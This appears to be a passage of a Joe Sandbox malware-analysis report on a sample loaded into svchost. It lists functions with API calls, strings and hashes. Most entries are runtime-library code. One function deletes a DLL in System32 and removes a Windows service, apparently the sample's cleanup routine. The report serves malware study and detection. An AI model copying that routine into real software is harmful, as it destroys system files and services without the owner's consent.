Opcode ID: 9364a55b9214e0afdede0b18485012ea5772a67b57320465d41b959e514cb53e
Instruction ID: 100e3225d25ba9858aa0b8b8302508f4d9fb58875d69173d93e127e64e3e86e1
Opcode Fuzzy Hash: 9364a55b9214e0afdede0b18485012ea5772a67b57320465d41b959e514cb53e
Instruction Fuzzy Hash: 89E01275B0590D82FFAB67F668D53E512555B9C7C4F05C421B91A46292EF14478C9340

Function 00000001800246B0 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,00000000,000000018002203E,?,?,?,000000018001DCD9,?,?,?,?,000000018002475C), ref: 0000000180024705

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 19818f5946d226a94292d0a284bb9413b74642a8ea31059a839ad02253a6bbae
Instruction ID: 0eb53a3a5f2b5d605e264ab91d59b0c6f125522e488f2661eed74f480dbd4f0a
Opcode Fuzzy Hash: 19818f5946d226a94292d0a284bb9413b74642a8ea31059a839ad02253a6bbae
Instruction Fuzzy Hash: 65F0C73A30660C80FEEB56A298053E613801B9EBC0F0CC4316E0E8E3D2DE2CC7889320

Function 0000000180025760 Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,?,000000018002A201,?,?,00000000,000000018002C09F,?,?,?,000000018002094B,?,?,?,0000000180020841), ref: 000000018002579E

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 2ef5fcf41ea415d4d37ddf730aef4b36b56694d732aa079eac7cd99cde0bddb5
Instruction ID: 215d3fb238a7b5780b9f63a512719cd44eb6ccd3a7918890dd866353b3ac3e05
Opcode Fuzzy Hash: 2ef5fcf41ea415d4d37ddf730aef4b36b56694d732aa079eac7cd99cde0bddb5
Instruction Fuzzy Hash: 0CF08C3434960CC1FBE726A2B8417F913904B8C7E1F08C6207C6A863C2EE38C6499318

Non-executed Functions

Function 0000000180004DB0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 69servicesleepfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180004740: GetTickCount.KERNEL32 ref: 0000000180004761
Part of subcall function 0000000180004740: OpenSCManagerW.ADVAPI32 ref: 0000000180004773
Part of subcall function 0000000180004740: OpenServiceW.ADVAPI32 ref: 000000018000478D
Part of subcall function 0000000180004740: CloseServiceHandle.ADVAPI32 ref: 000000018000479E

Sleep.KERNEL32 ref: 0000000180004DD0
DeleteFileW.KERNEL32 ref: 0000000180004E1E
OpenSCManagerW.ADVAPI32 ref: 0000000180004E2E
GetLastError.KERNEL32 ref: 0000000180004E3C
OpenServiceW.ADVAPI32 ref: 0000000180004E6E
GetLastError.KERNEL32 ref: 0000000180004E7C
DeleteService.ADVAPI32 ref: 0000000180004EA5
CloseServiceHandle.ADVAPI32 ref: 0000000180004EAE

Strings

.dll, xrefs: 0000000180004E07
Failed to open service control manager: , xrefs: 0000000180004E42
Failed to open service: , xrefs: 0000000180004E82
C:\Windows\System32\, xrefs: 0000000180004DE0

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Service$Open$CloseDeleteErrorHandleLastManager$CountFileSleepTick
String ID: .dll$C:\Windows\System32\$Failed to open service control manager: $Failed to open service:
API String ID: 530225803-3306029053
Opcode ID: ebb761ed2b43cf67f298620cedc08388e47c9ac5f697245c538d30e2daeb4a4e
Instruction ID: 10c1473406e49aee33603ee1b791d1a588e69db63d9f6855ce0ca8216c09cafa
Opcode Fuzzy Hash: ebb761ed2b43cf67f298620cedc08388e47c9ac5f697245c538d30e2daeb4a4e
Instruction Fuzzy Hash: F9212E70705A4C82FA9BEB66A9553DA2351AB8EBC4F04C424B94E0B797DE7CC64D8344

Function 00000001800311C4 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180030EF8: _invalid_parameter_noinfo.LIBCMT ref: 0000000180030F39
Part of subcall function 0000000180030EF8: _invalid_parameter_noinfo.LIBCMT ref: 0000000180030FB7
Part of subcall function 0000000180030EF8: _invalid_parameter_noinfo.LIBCMT ref: 0000000180031008

CreateFileW.KERNEL32 ref: 00000001800312CA
CreateFileW.KERNEL32 ref: 000000018003131A
GetLastError.KERNEL32 ref: 000000018003134A
GetFileType.KERNEL32 ref: 000000018003135F
GetLastError.KERNEL32 ref: 0000000180031369
CloseHandle.KERNEL32 ref: 000000018003139C
CloseHandle.KERNEL32 ref: 00000001800314FF
CreateFileW.KERNEL32 ref: 0000000180031534
GetLastError.KERNEL32 ref: 0000000180031543

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 73920b9f1d4d1f3475d88c9ee215d35769f2de5eb2edff2ecd5dd45139a18c0d
Instruction ID: 54165a7adaae01a24e8a23755ab68135929401734b862a9e4daacfac0974f5b3
Opcode Fuzzy Hash: 73920b9f1d4d1f3475d88c9ee215d35769f2de5eb2edff2ecd5dd45139a18c0d
Instruction Fuzzy Hash: F0C1A136720A4889EB92CFA9C4917EE3761F34DBD8F029215EA1A977D5DF34C259C340

Function 00007FF8B7E77468 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B7E6B6B4: GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
Part of subcall function 00007FF8B7E6B6B4: FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
Part of subcall function 00007FF8B7E6B6B4: SetLastError.KERNEL32 ref: 00007FF8B7E6B763

TranslateName.LIBCMT ref: 00007FF8B7E774D2
TranslateName.LIBCMT ref: 00007FF8B7E7750D
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF8B7E6C238), ref: 00007FF8B7E77554
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF8B7E6C238), ref: 00007FF8B7E7758C
GetLocaleInfoW.KERNEL32 ref: 00007FF8B7E77749

Strings

utf8, xrefs: 00007FF8B7E77670

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: 3b6d5ed59b725da4bf0883f5282e8f7d42a980b2480f72c24dcbb54db74bb49a
Instruction ID: 6f0b9e9a828c8563c3a5d6d6a9d9dee76bc8fd311e189bdb2f17437ff7e70c3e
Opcode Fuzzy Hash: 3b6d5ed59b725da4bf0883f5282e8f7d42a980b2480f72c24dcbb54db74bb49a
Instruction Fuzzy Hash: 6F918932A0878285EB249B69D8412BD2BA4EF44FC4F448131DB4D677AAEF3CE551C740

Function 000000018002E40C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000180021E64: GetLastError.KERNEL32 ref: 0000000180021E73
Part of subcall function 0000000180021E64: FlsGetValue.KERNEL32 ref: 0000000180021E88
Part of subcall function 0000000180021E64: SetLastError.KERNEL32 ref: 0000000180021F13

TranslateName.LIBCMT ref: 000000018002E476
TranslateName.LIBCMT ref: 000000018002E4B1
GetACP.KERNEL32(?,?,?,00000000,00000092,00000001800229E8), ref: 000000018002E4F8
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00000001800229E8), ref: 000000018002E530
GetLocaleInfoW.KERNEL32 ref: 000000018002E6ED

Strings

utf8, xrefs: 000000018002E614

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: e8107c42eccd7a078098831abf3629b6c163523c236bbb5de6701ab3fb9468f1
Instruction ID: 6f90c60f695f322598b7ee21673b05157a7e65c23f5eac7f204a78d4e66c84c9
Opcode Fuzzy Hash: e8107c42eccd7a078098831abf3629b6c163523c236bbb5de6701ab3fb9468f1
Instruction Fuzzy Hash: 5D917B3220478886EBA7AF21D5513E923A4E75EBC4F45C522FE4D47786EF78CA59C700

Function 00007FF8B7E77EB0 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B7E6B6B4: GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
Part of subcall function 00007FF8B7E6B6B4: FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
Part of subcall function 00007FF8B7E6B6B4: SetLastError.KERNEL32 ref: 00007FF8B7E6B763

Part of subcall function 00007FF8B7E6B6B4: FlsSetValue.KERNEL32 ref: 00007FF8B7E6B6F9

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF8B7E78020

Part of subcall function 00007FF8B7E6B6B4: FlsSetValue.KERNEL32 ref: 00007FF8B7E6B726
Part of subcall function 00007FF8B7E6B6B4: FlsSetValue.KERNEL32 ref: 00007FF8B7E6B737
Part of subcall function 00007FF8B7E6B6B4: FlsSetValue.KERNEL32 ref: 00007FF8B7E6B748

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF8B7E6C231), ref: 00007FF8B7E78007
ProcessCodePage.LIBCMT ref: 00007FF8B7E7804A
IsValidCodePage.KERNEL32 ref: 00007FF8B7E7805C
IsValidLocale.KERNEL32 ref: 00007FF8B7E78072
GetLocaleInfoW.KERNEL32 ref: 00007FF8B7E780CE
GetLocaleInfoW.KERNEL32 ref: 00007FF8B7E780EA

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 372f7a9c617c456f74244b4797bcdb800b892402e4224c5f231e3aea524ad447
Instruction ID: 56e78309b9c7ee52869e0447ce68098cebd38d9763b09f2850dcbe8108fc263a
Opcode Fuzzy Hash: 372f7a9c617c456f74244b4797bcdb800b892402e4224c5f231e3aea524ad447
Instruction Fuzzy Hash: CF715522F087428AFB259B68D8516BC2BB0AF58F88F444536CB0D676A5EF7CE855C350

Function 000000018002EE54 Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000180021E64: GetLastError.KERNEL32 ref: 0000000180021E73
Part of subcall function 0000000180021E64: FlsGetValue.KERNEL32 ref: 0000000180021E88
Part of subcall function 0000000180021E64: SetLastError.KERNEL32 ref: 0000000180021F13

Part of subcall function 0000000180021E64: FlsSetValue.KERNEL32 ref: 0000000180021EA9

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 000000018002EFC4

Part of subcall function 0000000180021E64: FlsSetValue.KERNEL32 ref: 0000000180021ED6
Part of subcall function 0000000180021E64: FlsSetValue.KERNEL32 ref: 0000000180021EE7
Part of subcall function 0000000180021E64: FlsSetValue.KERNEL32 ref: 0000000180021EF8

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00000001800229E1), ref: 000000018002EFAB
ProcessCodePage.LIBCMT ref: 000000018002EFEE
IsValidCodePage.KERNEL32 ref: 000000018002F000
IsValidLocale.KERNEL32 ref: 000000018002F016
GetLocaleInfoW.KERNEL32 ref: 000000018002F072
GetLocaleInfoW.KERNEL32 ref: 000000018002F08E

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 3efb6105f356508b7eb0ea1bf92e4e7b017754b3600668d4dec44d306e5c2588
Instruction ID: a8d4960048055aafbc3b2cd4ddacaf37063456ea5da6f203778411c7b2fe4784
Opcode Fuzzy Hash: 3efb6105f356508b7eb0ea1bf92e4e7b017754b3600668d4dec44d306e5c2588
Instruction Fuzzy Hash: D6715A3270078989FFA39B60D8507ED23A4BB4DBC8F458425EE1D5779AEF388A49C351

Function 00007FF8B7E5AB50 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B7E5AB6C
RtlCaptureContext.KERNEL32 ref: 00007FF8B7E5AB99
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B7E5ABB3
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B7E5ABF4
IsDebuggerPresent.KERNEL32 ref: 00007FF8B7E5AC48
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7E5AC65
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7E5AC70

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 04740efdff7c580d16dff040923db6ffc67d9323ef75e1eefc24875c0f2af850
Instruction ID: 0ff6d67c08a88e78ad2463bfb3053a8acce674d52bd2280d0c95269576dd5cce
Opcode Fuzzy Hash: 04740efdff7c580d16dff040923db6ffc67d9323ef75e1eefc24875c0f2af850
Instruction Fuzzy Hash: 15315272608B818AEB608F64E8403ED7765FB84B88F44443ADB4E47BA9EF3CD548C710

Function 0000000180010E20 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 0000000180010E3C
RtlCaptureContext.KERNEL32 ref: 0000000180010E69
RtlLookupFunctionEntry.KERNEL32 ref: 0000000180010E83
RtlVirtualUnwind.KERNEL32 ref: 0000000180010EC4
IsDebuggerPresent.KERNEL32 ref: 0000000180010F18
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000180010F35
UnhandledExceptionFilter.KERNEL32 ref: 0000000180010F40

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: fdadc29dc58f2183198634f452ceadc6165d05e193c3b9e6dad05d9e5493bf41
Instruction ID: d481829fe4d79a7a133f81ba7c845b412057119ca3a48860f919a30ab234b2b7
Opcode Fuzzy Hash: fdadc29dc58f2183198634f452ceadc6165d05e193c3b9e6dad05d9e5493bf41
Instruction Fuzzy Hash: AF311272305B8485EBB29F65E8407DE7364F748788F548429EA4D47B95DF78C64CC710

Function 00007FF8B7E65B9C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF8B7E65C15
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B7E65C2D
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B7E65C68
IsDebuggerPresent.KERNEL32 ref: 00007FF8B7E65CA1
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7E65CAB
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B7E65CB6

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: df9a84b24b467aa6ee1194e597e99188841ced61639a6221e638bd5411c7620d
Instruction ID: 1866c74323ca71dd0960fdf7dbb6331e59bc1811c4082d43dc3d1f19d96e4489
Opcode Fuzzy Hash: df9a84b24b467aa6ee1194e597e99188841ced61639a6221e638bd5411c7620d
Instruction Fuzzy Hash: C1316432608B8186DB60CF29E8452AE77A4FF85B98F540136EB9D43BA5EF3CD545CB00

Function 000000018001C108 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 000000018001C181
RtlLookupFunctionEntry.KERNEL32 ref: 000000018001C199
RtlVirtualUnwind.KERNEL32 ref: 000000018001C1D4
IsDebuggerPresent.KERNEL32 ref: 000000018001C20D
SetUnhandledExceptionFilter.KERNEL32 ref: 000000018001C217
UnhandledExceptionFilter.KERNEL32 ref: 000000018001C222

Memory Dump Source

Source File: 00000012.00000002.3301032398.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000012.00000002.3300970150.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.0000000180037000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3301809462.0000000180051000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3302026931.0000000180055000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_180000000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f429098aec50c0057b2b02a36b02d905b6efdffad756efffc2438056a1a8178c
Instruction ID: 9f19167ff42ed131ac9254b6f168c7de32a9c48622b4f69adb815c513da146a8
Opcode Fuzzy Hash: f429098aec50c0057b2b02a36b02d905b6efdffad756efffc2438056a1a8178c
Instruction Fuzzy Hash: D2316F32204F8486DBA2CF65E8407DE73A4F789798F504125FA8D43B99DF38C259CB00

Function 00007FF8B7E69190 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF8B7E691F6
memcpy_s.LIBCPMT ref: 00007FF8B7E69221

Strings

Kernel, xrefs: 00007FF8B7E6919D

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: memcpy_s
String ID: Kernel
API String ID: 1502251526-1518247837
Opcode ID: a3a34dc7f104a5757306e0e4006adbba08ef9a00a3e13a0073f806107d450ba3
Instruction ID: 1ea6ed19f8c208fe21fcf9e733d2460595bdebbf0fd71d10184283541639fc54
Opcode Fuzzy Hash: a3a34dc7f104a5757306e0e4006adbba08ef9a00a3e13a0073f806107d450ba3
Instruction Fuzzy Hash: DCC1D372B1978687EB24CF1AA08866EB791FB94BC4F449139DB4A47794DB3DF801CB40

Function 00007FF8B7E7792C Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B7E6B6B4: GetLastError.KERNEL32 ref: 00007FF8B7E6B6C3
Part of subcall function 00007FF8B7E6B6B4: FlsGetValue.KERNEL32 ref: 00007FF8B7E6B6D8
Part of subcall function 00007FF8B7E6B6B4: SetLastError.KERNEL32 ref: 00007FF8B7E6B763

Part of subcall function 00007FF8B7E6B6B4: FlsSetValue.KERNEL32 ref: 00007FF8B7E6B6F9

GetLocaleInfoW.KERNEL32 ref: 00007FF8B7E77998

Part of subcall function 00007FF8B7E7391C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E73939

GetLocaleInfoW.KERNEL32 ref: 00007FF8B7E779E1

Part of subcall function 00007FF8B7E7391C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8B7E73992

GetLocaleInfoW.KERNEL32 ref: 00007FF8B7E77AA9

Memory Dump Source

Source File: 00000012.00000002.3309370452.00007FF8B7E51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B7E50000, based on PE: true

Associated: 00000012.00000002.3309185229.00007FF8B7E50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309675816.00007FF8B7E7E000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3309889776.00007FF8B7E8F000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310111446.00007FF8B7E90000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310630732.00007FF8B7EEC000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.3310826427.00007FF8B7EEF000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff8b7e50000_svchost.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue_invalid_parameter_noinfo
String ID:
API String ID: 1791019856-0
